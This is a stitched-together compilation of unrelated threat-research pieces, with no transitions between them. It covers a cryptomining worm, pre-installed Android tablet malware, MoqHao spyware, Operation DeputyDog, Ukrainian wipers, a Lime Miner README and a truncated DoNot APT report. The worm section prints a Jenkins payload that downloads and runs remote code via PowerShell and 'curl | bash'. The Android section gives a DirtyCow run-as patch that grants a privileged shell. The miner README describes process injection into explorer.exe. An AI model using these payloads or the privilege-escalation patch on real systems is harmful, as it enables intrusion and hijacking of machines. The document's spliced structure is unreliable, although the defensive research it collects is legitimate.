The worm uses the gopacket library that provides C bindings for Go to use libpcap to read network packets. By running pcapc, the worm gathers network data which is used to gather ACKS and continue to brute force the services.
Post exploitation, the malware will deliver a loader script: ld.sh for Linux and ld.ps1 for Windows. The loader is responsible for dropping and running the XMRig Miner and the Golang worm on the exploited service.
### Exploit Flow
The following describes the attack flow for each service.
**MySQL: Port 3306**
The malware will run a credential spraying brute force attack. The malware uses a hardcoded dictionary of weak credentials, such as root:123456, for this attack. After a successful login, it will run a shellcode to gain a local privilege escalation using mysql UDF. The exploits are embedded within the binary as a hex string. The worm has an exploit for each operating system and architecture (UDFLINUX32, UDFLINUX64, UDFLWIN32, and UDFWIN64). After running the exploit, the payload will use the sys_exec command to drop and run the loader script.
**Tomcat: Port 8080**
The malware will run credential spraying on the admin panel using basic authentication. Upon a successful trial, the malware will attempt to deploy a WAR file (Web Application Resource), which will be used to transfer the 1.jsp file containing the malicious payload. The malware will send Get requests and will parse the parameters with the jsp file: %s/1.jsp?win=%s&linux=%s. These parameters will contain the dropper script URL. The jsp script will then drop and run the loaders.
**Jenkins: Port 8080**
Similar to previous exploits, the malware will brute force Jenkins login with password spraying and run the following payload:
```
cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash
println “%s”+”%s”;def s=new String(Base64.getDecoder().decode(“%s”+”%s”.reverse())).split(“!”);def c=System.getProperty(“os.name”).contains(“indo”)?s[0].split(“@”):s[1].split(“@”);c.execute()
```
**WebLogic: Port 7001**
In the older version, the malware uses the latest WebLogic remote code execution exploit CVE-2020-14882. It will send a get request to the WebLogic service, and use the GET request headers as part of the payload.
## How Do I Protect Myself?
Take the following precautions in order to avoid brute force attacks and vulnerability exploits:
1. Use complex passwords, limit login attempts, and use 2FA (Two-Factor Authentication) if possible.
2. Minimize your use of publicly facing services.
3. Keep your software updated with the latest security patches.
4. Use a Cloud Workload Protection Platform (CWPP), like Intezer Protect, to gain full runtime visibility over the code in your system and get alerted on any malicious or unauthorized code.
## Summary
In 2020, we saw a noticeable trend of Golang malware targeting different platforms, including Windows, Linux, Mac, and Android. We assess with high confidence that this will continue in 2021. The fact that the worm’s code is nearly identical for both its PE and ELF malware—and the ELF malware going undetected in VirusTotal—demonstrates that Linux threats are still flying under the radar for most security and detection platforms. Both PE and ELF worms are now classified as XMRig Miner Dropper in Intezer Analyze, which means you can detect and classify any variants that are genetically similar.
**IoCs**
C&C: 185.239.242.71
**Files**
| Operating System | Description | File Name | File Type | MD5 |
|------------------|-------------|-----------|-----------|-----|
| Linux | Dropper | ldr.sh | Bash script | 236d7925cfafc1f643babdb8e48966bf |
| | Worm | sysrv | 64bit ELF | ead2cf8ab7aef63706b40eb57d668d0a |
| | Miner | xmr32 | 32bit ELF | 9c2aa65235a939b2811f281a45ecdab0 |
| | Miner | xmr64 | 64bit ELF | 078b2a96f45b493e82b44f8c5344e7e5 |
| Windows | Dropper | ldr.ps1 | PowerShell script | d708a5394e9448ab38201264df423c0a |
| | Worm | sysrv.exe | 32bit PE | 030231d96234f06ae09ca18d621241e5 |
| | Miner | xmr32.exe | 32bit PE | 97d89d25e9589f995d374cb7d89b4433 |
| | Miner | xmr64.exe | 64bit PE | 569fcf95f3889cefd87c1b425fa37b03 |
| | | 1.jsp | Java Server Page | 644f20b5a6e03aa054ba62d32f983adc |
**Avigayil Mechtinger**
Avigayil is a product manager at Intezer, leading Intezer Analyze product lifecycle. Prior to this role, Avigayil was part of Intezer's research team and specialized in malware analysis and threat hunting. During her time at Intezer, she has uncovered and documented different malware targeting both Linux and Windows platforms. |
# DPG Media Privacy Gate
## Privacy
Russen faalden bij hackpogingen ambtenaren op Nederlandse ministeries. |
# Android Malware Investigation
In November, I bought a cheap Android Tablet for a wall-mounted display. After a couple of days, overlay ads and warnings from Google Play about malicious apps appeared. I didn't have time to investigate, so I just tried to close the apps and ads. This got more complicated since all of it was in Chinese. I ended up navigating the menu of what looked like a 3rd-party app store to uninstall an app named Retipuj that was flagged by Google Play for ad-fraud. All of this using Google Translate on my phone.
I bought this Chinese Android tablet (yellyouth) for a project, and it randomly installs apps in the background. Apps that are flagged by Google Play as "ad-fraud." The "fun part" was using Google Translate on my phone to navigate their app market app.
This solution worked for a couple of days. Returning from my holiday trip, I was greeted by overlay ads once again. Luckily, I had some time on my hands to investigate. Here’s a short write-up.
## Part 1: Observations and Hoping for an Easy Way Out
I found one app that I didn't install (com.hero.filter). I uninstalled it via `adb uninstall com.hero.filter`. I tried Googling the package name but without success. Removing the app didn't seem to do anything. Judging by the taskbar, there still seemed to be a number of apps running, but checking via Settings/Apps and on the filesystem (/data/apps), no apps are installed. Every now and then, a pop-up appears that looks like a 3rd-party market trying to download and install apps. Installation is blocked by Google Play (verified apps, I assume).
## Part 2: Looking at Processes
I found two interesting-looking processes: `net.atlas.utopia` and `android.hb.uys.pbuild`. Looking at the SeLinux context, they seem to be platform apps (u:r:platform_app:s0). These could be candidates (spoiler - they are). Using `pm list packages -f`, I determined that `net.atlas.utopia` is installed in `/system/priv-app/Kyz2203` with the data in `/data/data/net.atlas.utopia`.
### Interesting Packages:
```
package:/data/app/com.hero.filter-1/base.apk=com.hero.filter
package:/system/app/AutoDialer/AutoDialer.apk=com.example
package:/system/priv-app/Kyz2203/Kyz2203.apk=net.atlas.utopia
package:/system/priv-app/reanimation/reanimation.apk=android.hb.uys.pbuild
```
## Part 3: A Quick Peek into net.atlas.utopia
Permissions: this app has like every permission you can think of, including install and delete packages, send SMS, read and write any setting and file. Further, it has a number of app permissions that correspond to Lenovo, Oppo, Huawei, and HTC devices. The app registers intent filters for a number of events: boot up, time zone change, packages install/remove, outgoing calls, etc. It basically monitors everything that is going on on the device.
The data directory also contained a dex file named `whatsappui1.dex`. A quick Google search on `whatsappui1` has one hit on Team Cymru's hash list, identifying the file as being associated with ad-based malware. The most interesting thing I found in this app is the use of a 3rd-party library called DroidPlugin. DroidPlugin is a plugin framework for Android that allows running any third-party APK without installation, modification, or repackaging. Seems like the perfect tool for malware distribution.
## Part 4: A Quick Peek into android.hb.uys.pbuild
Permissions are very similar to `net.atlas.utopia`, including the permissions corresponding to specific device manufacturers. The manifest contains traces of ad-related things. The library directory contains `libiohook.so`, which contains symbols from Cydia Substrate. The library name appears in various search results that indicate ad-related malware. The asset directory contains a certificate `ky_dsa_public.crt` with no interesting issuer, a jar file that contains a dex file, and two .png files that contain ASCII/text.
## Part 5: Getting Rid of It All
How do we get rid of pre-installed software? The system partition is read-only, so we can't uninstall it! The best idea that does not involve rooting and flashing new firmware is disabling the package using the package manager (`pm disable net.atlas.utopia`). This, however, requires system privileges. You don't have system privileges without rooting. You can disable apps via Settings, but you can only disable them if they are in the list. The ones we want to disable are not in the list.
How do we get system? The tablet still runs a 3.10.72 kernel, so it might be vulnerable to DirtyCow. I checked using the tools from Timwr, and yes, it is vulnerable to DirtyCow. Using my modified version of run-as, as shown in my SafetyNet Talk, we can become the system user and disable any package we want by running: `pm disable PACKAGE`.
Here’s the list of packages I disabled; so far, no APKs are getting installed, and I haven't seen any more ads.
### Disabled Packages:
```
package:com.mediatek.schpwronoff
package:android.hb.uys.pbuild
package:com.mediatek.ygps
package:com.android.htmlviewer
package:com.android.browser
package:com.hero.filter
package:com.example
package:com.svox.pico
package:com.opera.max.global
package:com.android.dreams.phototable
package:net.atlas.utopia
package:com.mediatek.weather
package:com.opera.max.loader
package:com.qihoo.appstore
package:com.fw.upgrade.sysoper
package:com.android.vpndialogs
```
## Part 6: DirtyCow Trickery
As described on my slides, you can modify `run-as.c` from Timwr to become any UID with almost any SELinux context (depending on the device's SeLinux policy!). For our purpose, we can become any UID and context that we require. Below are some notes on how this works.
DirtyCow lets you overwrite any file, which is how you replace `/system/bin/run-as` with your own binary. The binary cannot be bigger than the one you are overwriting. This might be a problem when you have a very small run-as (9k in my case).
```
1|shell@KT107:/data/local/tmp $ ls -al /system/bin/run-as
-rwsr-s--- root shell 9444 2018-09-27 03:44 run-as
```
The workaround I took was not using ndk-build to build `run-as.c` and instead manually running `arm gcc`. This will reduce the binary size due to discarding compiler flags used by the ndk. Another solution would be to just load a shared library from run-as to keep the binary size small. Once you have my version of run-as, you can become (almost) any user.
```
shell@KT107:/data/local/tmp $ run-as 1000 u:r:platform_app:s0
shell@KT107:/data/local/tmp $ id
uid=1000(system) gid=1000(system)
groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard context=u:r:platform_app:s0
```
System (UID 1000) allows you to poke around `/data/app/*` and `/data/data`. If you want to explore `/data/data/APP`, you need to assume the UID and context of that app.
```
shell@KT107:/data/data $ ls -al
drwxr-x--x u0_a13 u0_a13 u:object_r:app_data_file:s0
net.atlas.utopia
run-as 10013 u:r:platform_app:s0
shell@KT107:/data/data $ id
uid=10013(u0_a13) gid=10013(u0_a13)
groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard context=u:r:platform_app:s0
```
```
shell@KT107:/data/data/net.atlas.utopia $ ls -al
drwx------ u0_a13 u0_a13 2017-12-31 19:00 Plugin
drwxrwx--x u0_a13 u0_a13 2017-12-31 19:00 app_dex
drwxrwx--x u0_a13 u0_a13 2017-12-31 19:00 cache
drwxrwx--x u0_a13 u0_a13 2017-12-31 19:00 databases
drwx------ u0_a13 u0_a13 2017-12-31 19:00 fankingbox
lrwxrwxrwx install install 2015-12-31 19:00 lib -> /data/app-lib/net.atlas.utopia
drwxrwx--x u0_a13 u0_a13 2019-01-03 15:56 shared_prefs
-rw------- u0_a13 u0_a13 9572 2019-01-03 15:54 whatsappui1.dex
```
Below is my patch for `run-as.c`. My version sets the UID from the first argument and the SELinux context from the second argument.
```
--- run-as-crm.c 2019-01-03 17:54:41.153471054 -0500
+++ run-as.c 2019-01-03 17:58:39.378353437 -0500
@@ -28,6 +28,8 @@
{
LOGV("uid %s %d", argv[0], getuid());
+ int duid = atoi(argv[1]);
+
if (setresgid(0, 0, 0) || setresuid(0, 0, 0)) {
LOGV("setresgid/setresuid failed");
}
@@ -56,7 +58,7 @@
LOGV("dlsym setcon error %s", error);
} else {
setcon_t * setcon_p = (setcon_t*)setcon;
- ret = (*setcon_p)("u:r:shell:s0");
+ ret = (*setcon_p)(argv[2]);
ret = (*getcon_p)(&secontext);
LOGV("context %d %s", ret, secontext);
}
@@ -66,6 +68,12 @@
LOGV("no selinux?");
}
+ if (setresgid(duid, duid, duid) || setresuid(duid, duid, duid)) {
+ LOGV("setresgid/setresuid failed");
+ }
+ LOGV("uid %d", getuid());
+
system("/system/bin/sh -i");
-}
\ No newline at end of file
+}
```
## Conclusions
Overall, I would have preferred to not get pre-installed malware on my Android Tablet, as I would rather have spent my time on my InfoPanel app or on other projects. However, it was impossible for me to ignore this issue and simply buy a different tablet. Tracking down the malware was still kind of fun. It was the first time I experienced the issue of pre-installed malware firsthand. I'm also fairly happy that I didn't have to modify the firmware since this would have cost way more time. The most interesting thing I found was definitely the DroidPlugin project that allows running APKs without installing them. I wish I had more time to reverse engineer all the different apps and how they work together.
I hope I finally disabled all of the components and have an ad-free device. |
# MoqHao Related Android Spyware Targeting Japan and Korea Found on Google Play
**August 7, 2019**
**Chanung Pak**
**7 MIN READ**
The McAfee mobile research team has found a new type of Android malware for the MoqHao phishing campaign (a.k.a. XLoader and Roaming Mantis) targeting Korean and Japanese users. A series of attack campaigns are still active, mainly targeting Japanese users. The new spyware has very different payloads from the existing MoqHao samples. However, we found evidence of a connection between the distribution method used for the existing campaign and this new spyware. All the spyware we found this time pretends to be security applications targeting users in Japan and Korea. We discovered a phishing page related to a DNS hijacking attack, designed to trick the user into installing the new spyware, distributed on the Google Play store.
## Fake Japanese Security Apps Distributed on Google Play
We found two fake Japanese security applications. The package names are `com.jshop.test` and `com.jptest.tools2019`. These packages were distributed on the Google Play store. The number of downloads of these applications was very low. Fortunately, the spyware apps had been immediately removed from the Google Play store, so we acquired the malicious bullets thanks to the Google Android Security team.
This Japanese spyware has four command and control functions. Below is the server command list used with this spyware. The spyware attempts to collect device information like IMEI and phone number and steal SMS/MMS messages on the device. These malicious commands are sent from a push service of Tencent Push Notification Service.
We believe that the cybercriminal included minimal spyware features to bypass Google’s security checks to distribute the spyware on the Google Play store, perhaps with the intention of adding additional functionality in future updates, once approved.
## Fake Korean Police Apps
Following further investigation, we found other very similar samples to the above fake Japanese security applications, this time targeting Korean users. A fake Korean police application disguised itself as an anti-spyware application. It was distributed with a filename of `cyber.apk` on a host server in Taiwan (that host has previously been associated with malicious phishing domains impersonating famous Japanese companies). It used the official icon of the Korean police application and a package name containing ‘kpo’, along with references to `com.kpo.scan` and `com.kpo.help`, all of which relate to the Korean police.
The Trojanized package was obfuscated by the Tencent packer to hide its malicious spyware payload. Unlike the existing samples used in the MoqHao campaign, where the C&C server address was simply embedded in the spyware application; MoqHao samples hide and access the control server address via Twitter accounts.
The malware has very similar spyware functionality to the fake Japanese security application. However, this one features many additional commands compared to the Japanese one. Interestingly, the Tencent Push Service is used to issue commands to the infected user.
The code and table below show characteristics of the server command and content list.
There are several interesting functions implemented in this spyware. To execute an automated phone call function on a default calling application, the `KAutoService` class has an implementation to check content in the active window and automatically click the start call button.
Another interesting function attempts to disable anti-spam call applications (e.g. whowho – Caller ID & Block), which warns users if it is suspicious in the case of incoming calls from an unknown number. The disable function of these call security applications in the spyware allows cyber criminals to make a call without arousing suspicion as no alert is issued from the anti-spam call apps, thus increasing the success of social engineering.
## Connection with Active MoqHao Campaigns
The malware characteristics and structures are very different from the existing MoqHao samples. We give special thanks to @ZeroCERT and @ninoseki, without whom we could not have identified the connection to the active MoqHao attack and DNS hijacking campaigns. The server script on the phishing website hosting the fake Chrome application leads victims to a fake Japanese security application on the Google Play store under specific browser conditions.
There is a strong correlation between both the fake Japanese and Korean applications we found this time. This malware has common spy commands and shares the same crash report key on a cloud service. Therefore, we concluded that both pieces of spyware are connected to the ongoing MoqHao campaigns.
## Conclusion
We believe that the spyware aims to masquerade as a security application and perform spy activities, such as tracking device location and eavesdropping on call conversations. It is distributed via an official application store that many users trust. The attack campaign is still ongoing, and it now features a new Android spyware that has been created by the cybercriminals. McAfee is working with Japanese law enforcement agencies to help with the takedown of the attack campaign. To protect your privacy and keep your data from cyber-attacks, please do not install apps from outside of official application stores. Keep firmware up to date on your device and make sure to protect it from malicious apps by installing security software on it.
McAfee Mobile Security detects this threat as Android/SpyAgent and alerts mobile users if it is present, while protecting them from any data loss. |
# Operation DeputyDog: Zero-Day (CVE-2013-3893) Attack Against Japanese Targets
September 21, 2013
FireEye has discovered a campaign leveraging the recently announced zero-day CVE-2013-3893. This campaign, which we have labeled ‘Operation DeputyDog’, began as early as August 19, 2013 and appears to have targeted organizations in Japan. FireEye Labs has been continuously monitoring the activities of the threat actor responsible for this campaign. Analysis based on our Dynamic Threat Intelligence cluster shows that this current campaign leveraged command and control infrastructure that is related to the infrastructure used in the attack on Bit9.
## Campaign Details
On September 17, 2013 Microsoft published details regarding a new zero-day exploit in Internet Explorer that was being used in targeted attacks. FireEye can confirm reports that these attacks were directed against entities in Japan. Furthermore, FireEye has discovered that the group responsible for this new operation is the same threat actor that compromised Bit9 in February 2013.
FireEye detected the payload used in these attacks on August 23, 2013 in Japan. The payload was hosted on a server in Hong Kong (210.176.3.130) and was named “img20130823.jpg”. Although it had a .jpg file extension, it was not an image file. The file, when XORed with 0×95, was an executable (MD5: 8aba4b5184072f2a50cbc5ecfe326701). Upon execution, 8aba4b5184072f2a50cbc5ecfe326701 writes “28542CC0.dll” (MD5: 46fd936bada07819f61ec3790cb08e19) to this location:
C:\Documents and Settings\All Users\Application Data\28542CC0.dll
In order to maintain persistence, the original malware adds this registry key:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\28542CC0
The registry key has this value:
rundll32.exe “C:\Documents and Settings\All Users\Application Data\28542CC0.dll”,Launch
The malware (8aba4b5184072f2a50cbc5ecfe326701) then connects to a host in South Korea (180.150.228.102). This callback traffic is HTTP over port 443 (which is typically used for HTTPS encrypted traffic; however, the traffic is not HTTPS nor SSL encrypted). Instead, this clear-text callback traffic resembles this pattern:
```
POST /info.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Agtid: [8 chars]08x
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 180.150.228.102:443
Content-Length: 1045
Connection: Keep-Alive
Cache-Control: no-cache
[8 chars]08x&[Base64 Content]
```
The unique HTTP header “Agtid:” contains 8 characters followed by “08x”. The same pattern can be seen in the POST content as well.
A second related sample was also delivered from 111.118.21.105/css/sun.css on September 5, 2013. The sun.css file was a malicious executable with an MD5 of bd07926c72739bb7121cec8a2863ad87 and it communicated with the same communications protocol described above to the same command and control server at 180.150.228.102.
## Related Samples
We found that both droppers, bd07926c72739bb7121cec8a2863ad87 and 8aba4b5184072f2a50cbc5ecfe326701, were compiled on 2013-08-19 at 13:21:59 UTC. As we examined these files, we noticed a unique fingerprint.
These samples both had a string that may have been an artifact of the builder used to create the binaries. This string was “DGGYDSYRL”, which we refer to as “DeputyDog”. As such, we developed the following YARA signature, based on this unique attribute:
```
rule APT_DeputyDog_Strings
{
meta:
author = “FireEye Labs”
version = “1.0”
description = “detects string seen in samples used in 2013-3893 0day attacks”
reference = “8aba4b5184072f2a50cbc5ecfe326701”
strings:
$mz = {4d 5a}
$a = “DGGYDSYRL”
condition:
($mz at 0) and $a
}
```
We used this signature to identify 5 other potentially related samples:
| MD5 | Compile Time (UTC) | C2 Server |
|---------------------------------------|-------------------------|---------------------|
| 58dc05118ef8b11dcb5f5c596ab772fd | 2013-08-19 13:21:58 | 180.150.228.102 |
| 4d257e569539973ab0bbafee8fb87582 | 2013-08-19 13:21:58 | 103.17.117.90 |
| dbdb1032d7bb4757d6011fb1d077856c | 2013-08-19 13:21:59 | 110.45.158.5 |
| 645e29b7c6319295ae8b13ce8575dc1d | 2013-08-19 13:21:59 | 103.17.117.90 |
| e9c73997694a897d3c6aadb26ed34797 | 2013-04-13 13:42:45 | 110.45.158.5 |
Note that all of the samples, except for e9c73997694a897d3c6aadb26ed34797, were compiled on 2013-08-19, within 1 second of each other.
We pivoted off the command and control IP addresses used by these samples and found the following known malicious domains recently pointed to 180.150.228.102.
| Domain | First Seen | Last Seen |
|------------------------|-----------------------|------------------------|
| ea.blankchair.com | 2013-09-01 05:02:22 | 2013-09-01 08:25:22 |
| rt.blankchair.com | 2013-09-01 05:02:21 | 2013-09-01 08:25:24 |
| ali.blankchair.com | 2013-09-01 05:02:20 | 2013-09-01 08:25:22 |
| dll.freshdns.org | 2013-07-01 10:48:56 | 2013-07-09 05:00:03 |
## Threat Actor Attribution
While these attackers have a demonstrated previously unknown zero-day exploits and a robust set of malware payloads, using the techniques described above, it is still possible for network defense professionals to develop a rich set of indicators that can be used to detect their attacks. This is the first part of our analysis; we will provide more detailed analysis on the other components of this attack in subsequent blog posts. |
# Analysis on Recent Wiper Attacks: Examples and How Wiper Malware Works
**Executive Summary**
2022 has experienced an increase in the number of wiper variants targeting Ukrainian entities. This blog post explains how wipers work, what makes them effective, and provides an overview of the most recent samples that appeared in the Eastern Europe geopolitical conflict.
## How Does Wiper Malware Work?
Wiper’s main objective is to destroy data from any storage device and make the information unavailable (T1485). There are two ways of removing files: logical and physical.
Logical file removal is the most common way of erasing a file, performed by users daily when a file is sent to (and emptied from) the Recycle Bin, or when it is removed with the command line or terminal using the commands `del` or `rm`. This action deletes the pointer to the file but not the file data, making it recoverable with forensic tools as long as the operating system does not write any other file in the same physical location.
However, malware wipers aim to make the data irrecoverable, so they tend to remove the data from the physical level of the disk. The most effective way to remove the data/file is by overwriting the specific physical location with other data (usually a repeated byte like 0xFF). This process usually involves writing several gigabytes (or terabytes) of data and can be time-consuming. For this reason, in addition to destroying the data, many wipers first destroy two special files in the system:
- **The Master Boot Record (MBR)**: Used during the boot process to identify where the operating system is stored on the disk. By replacing the MBR, the boot process crashes, making the files inaccessible unless forensic methodologies are used.
- **The Master File Table (MFT)**: Exclusive to NTFS file systems, it contains the physical location of files in the drive as well as logical and physical size and any associated metadata. Removing the MFT will require the use of forensic tools to recover small files and prevents recovery of fragmented files since the link between fragments is lost.
The main difference between wipers and ransomware is that it’s impossible to retrieve the impacted information after a wiper attack. Attackers using wipers do not usually target financial reward but intend to disrupt the victim’s operations as much as possible. Ransomware operators aim to get a payment in exchange for the key to decrypt the user’s data.
With both wiper and ransomware attacks, the victim depends on their backup system to recover after an attack. However, some wiper attacks carry ransom notes requesting payment to recover the data. It is important that the victim properly identifies the attack they've suffered, or they may pay the ransom without any chance of retrieving the lost data.
In the last month and a half, since the war started in Eastern Europe, several wipers have been used in parallel with DDoS attacks (T1499) to keep financial institutions and government organizations, mainly Ukrainian, inaccessible for extended periods. Some of the wipers observed in this timeframe include WhisperKill, HermeticWiper, IsaacWiper, CaddyWiper, DoubleZero Wiper, and AcidRain.
## Most Recent Wiper Examples
### WhisperKill
On January 14, 2022, the Ukrainian government experienced a coordinated attack on 22 of their government agencies, defacing their websites. Almost all the compromised websites were developed by the same Ukrainian IT company, Kitsoft, and all were built on OctoberCMS. Therefore, the attack vector was most probably a supply chain attack on the IT provider or an exploitation of an OctoberCMS vulnerability, combined with exploitations of the Log4Shell vulnerability (T1190).
In addition to the website defacement, Microsoft Threat Intelligence Center (MSTIC) identified destructive malware samples targeting Ukrainian organizations with two malware samples. Microsoft named the samples WhisperGate, while other security companies labeled the downloader as WhisperGate and WhisperKill as the actual wiper, which was considered a component of WhisperGate.
The identified files were:
- **Stage 1**: Replaces the Master Boot Record (MBR) with a ransom note when the system is powered down, rendering the machine unbootable. When booted up, the system displays a ransom note. Despite the ransom request, the data will not be recoverable since all efforts made by WhisperKill are aimed at destroying data, not encrypting it.
- **Stage 2**: Attempts to download the next stage malware (T1102.003) from the Discord app. If unsuccessful, it sleeps and tries again. The payload downloaded from the messaging app destroys as much data as possible by overwriting certain file types with 0xCC for the first MB of the file. Then it modifies the file extension to a random four-byte extension. Finally, the malware executes a command to delete itself from the system (T1070.004).
### HermeticWiper
On February 23, 2022, ESET Research reported a new wiper being used against hundreds of Ukrainian systems. The wiper receives its name from the stolen certificate (T1588.003) it was using to bypass security controls “Hermetica Digital Ltd.” The attackers have been seen using several methods to distribute the wiper through the domain, like domain Group Policy Object (GPO) (T1484.001), Impacket or SMB (T1021.002), and WMI (T1047) with an additional worm component named HermeticWizard.
The wiper component first installs the payload as a service (T1569.002) under `C:\Windows\system32\Drivers\`. It corrupts the first 512 bytes of the MBR of all physical drives and then enumerates their partitions. Before attempting to overwrite as much data as possible, it deletes key files in the partition, like MFT, $Bitmap, $LogFile, the NTUSER registry hive (T1112), and the event logs (T1070.001). The combination of file fragmentation and the deletion of the MFT makes file recovery difficult.
Finally, the malware writes randomized contents into all occupied sectors in the partition to remove all potential hope of recovering any data with forensic tools or procedures.
### IsaacWiper
On February 24, 2022, a new wiper was used against the Ukrainian government, reported by ESET, without any significant similarities to HermeticWiper. IsaacWiper identifies all physical drives not containing the operating system and locks their logical partitions by only allowing a single thread to access each of them. It starts to write random data into the drives in chunks of 64 KB.
Once the rest of the physical drives and the logical partitions sharing the physical drive with the operating system’s volume have been wiped, this last volume is wiped by:
- Erasing the MBR.
- Overwriting all files with 64 KB chunks of random data with one thread.
- Creating a new file under the C drive filled with random data until it takes the maximum space it can from the partition, overwriting the already overwritten existing files.
### AcidRain
On the same day IsaacWiper was deployed, another wiper attacked Viasat KA-SAT modems in Ukraine, named AcidRain by SentinelLABS. This wiper was particularly aimed at modems, probably to disrupt Internet access from Ukraine. The wiper used was the ELF MIPS wiper targeting Viasat KA-SAT modems, which aimed to overwrite any file outside of any common *nix installation to then delete data from `/dev/`.
### CaddyWiper
The first version of CaddyWiper was discovered by ESET researchers on March 14, 2022, when it was used against a Ukrainian bank. This new wiper variant does not have any significant code similarities to previous wipers. It specifically sets an exclusion to avoid infecting Domain Controllers in the infected system. It targets `C:/Users` and any additional attached drive all the way to letter Z:/ and zeroes all the files present in such folders/drives.
A variant of CaddyWiper was used again on April 8, 2022, against high-voltage electrical substations in Ukraine. This latest version of the wiper was delivered together with Industroyer2, which has the main function of communicating with industrial equipment.
### DoubleZero Wiper
On March 22, 2022, CERT-UA reported a new wiper used against their infrastructure and enterprises. Named DoubleZero, the wiper was distributed as a ZIP file containing an obfuscated .NET program. The wiper’s routine sets a hardcoded list of system directories, which are skipped during an initial wiping targeting user files. Afterwards, the skipped system directories are targeted, and finally, the registry hives are wiped.
## Conclusion
As we have seen in the examples above, the main objective of the attackers behind wipers is to destroy all possible data and render systems unbootable, potentially requiring a full system restore if backups aren’t available. These malware attacks can be as disruptive as ransomware attacks, but wipers are arguably worse since there is no potential escape door of a payment to recover the data.
There are plenty of ways to wipe systems. We've looked at six different wiper samples observed targeting Ukrainian entities. These samples approach the attack in very different ways, and most occur faster than the time required to respond. For that reason, it is not effective to employ detection of wiper malware, as once they are in the system, it is already too late. The best approach against wipers is to prevent attacks by keeping systems up to date and by increasing cybersecurity awareness. In addition, consequences can be ameliorated by having periodic backup copies of key infrastructure available.
## Associated Indicators (IOCs)
The following technical indicators are associated with the reported intelligence:
| TYPE | INDICATOR | DESCRIPTION |
|--------|---------------------------------------------------------------------------|---------------------------------|
| SHA256 | a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 | WhisperKill (stage1.exe) |
| SHA256 | dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 | WhisperKill (stage2.exe) |
| SHA256 | 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da | HermeticWiper |
| SHA256 | 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 | HermeticWiper |
| SHA256 | 13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033 | IsaacWiper |
| SHA256 | 9b4dfaca873961174ba935fddaf696145afe7bbf5734509f95feb54f3584fd9a | AcidRain |
| SHA256 | 47f521bd6be19f823bfd3a72d851d6f3440a6c4cc3d940190bdc9b6dd53a83d6 | AcidRain |
| SHA256 | Fc0e6f2effbfa287217b8930ab55b7a77bb86dbd923c0e8150551627138c9caa | CaddyWiper |
| SHA256 | 7062403bccacc7c0b84d27987b204777f6078319c3f4caa361581825c1a94e87 | Industroyer2 |
| SHA256 | 3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe | DoubleZero |
| SHA256 | 30b3cbe8817ed75d8221059e4be35d5624bd6b5dc921d4991a7adc4c3eb5de4a | DoubleZero |
## Mapped to MITRE ATT&CK
The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques:
- **TA0001: Initial Access**
- T1190: Exploit Public-Facing Application
- **TA0002: Execution**
- T1047: Windows Management Instrumentation
- T1569: System Services
- T1569.002: Service Execution
- **TA0008: Lateral Movement**
- T1021: Remote Services
- T1021.002: SMB/Windows Admin Shares
- **TA0005: Defense Evasion**
- T1070: Indicator Removal on Host
- T1070.004: File Deletion
- T1070.001: Clear Windows Event Logs
- T1112: Modify Registry
- T1484: Domain Policy Modification
- T1484.001: Group Policy Modification
- **TA0011: Command and Control**
- T1102: Web Service
- T1102.003: One-Way Communication
- **TA0040: Impact**
- T1485: Data Destruction
- T1499: Endpoint Denial of Service
- **TA0042: Resource Development**
- T1588: Obtain Capabilities
- T1588.003: Code Signing Certificates
**Tags**: wiper malware, doublezero wiper, acidrain, isaacwiper, caddywiper, hermeticwiper, whisperkill |
# Lime Miner v0.3
**Author:** NYAN-x-CAT
## Main Features
- .NET - Coded in Visual Basic .NET, required framework 4.0 dependency.
- Codedom - No need for external library to compile.
- Injection - Hide payload behind a legit process "explorer.exe".
## Prerequisites
To open project you need:
1. Visual Studio 2017+
2. This repository.
## Disclaimer
I, the creator, am not responsible for any actions, and or damages, caused by this software. You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only. This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use. By using this software, you automatically agree to the above.
## License
This project is licensed under the MIT License - see the LICENSE file for details. |
# The DoNot APT - K7 Labs
By Vigneshwaran P
February 23, 2023
The DoNot APT (aka APT-C-35) has been active since 2016. They have attacked many individuals and organizations in South Asia. DoNot APT is reported to be the main developers and users of frameworks for developing Windows and Android malware. This group mainly targets organizations in India, Pakistan, Sri Lanka, Bangladesh, and other South Asian countries. They focus on government and military organizations, foreign ministries, and embassies.
For the initial access, DoNot APT uses phishing emails containing malicious attachments. To get to the next stage, they execute a macro embedded in an MS Office document which drops a PE file and executes it. We have witnessed this PE file being a DLL file in past campaigns. There is a change in the initial access of this APT group. The RedDrip Team tagged a ZIP (filename: “Day.zip”) file as part of the DoNot APT campaigns. The lure was themed to leverage geopolitical tensions between India and Pakistan. The ZIP file is bundled with a WinRAR SFX executable, which contains a DLL file and PDF files under a folder named “Kashmir.”
The SFX executable executes the DLL. The DLL file is responsible for connecting to the C2. The C2 Server was down at the time of writing this blog. The domain registrar for the C2 domain (briefdeal.buzz) is NameSilo Inc, which seems to be a pattern since September 2022. The DLL contains two export functions. The first function creates a mutex (“olgui1pigg”) as a marker for infection and then establishes a connection to C2. The next function is for self-copying itself to the %TEMP% folder and creating a scheduled task for persistence by setting a new Scheduled Task that runs every four minutes. The action assigned to the task is to run the first export function. The C2 server was down during our analysis. It tries to send basic info of the victim’s PC to the C2 like Username, Computer Name, and Processor ID.
Here we mention the timeline of samples used by DoNot APT from September 2022 to January 2023.
| Time | Samples File Name |
|-------------|------------------------------------------------------------------------------------------------------|
| Jan 2023 | Kashmir Solidarity Day Material.exe, Requirement of pattenization data for seamanship items.xls |
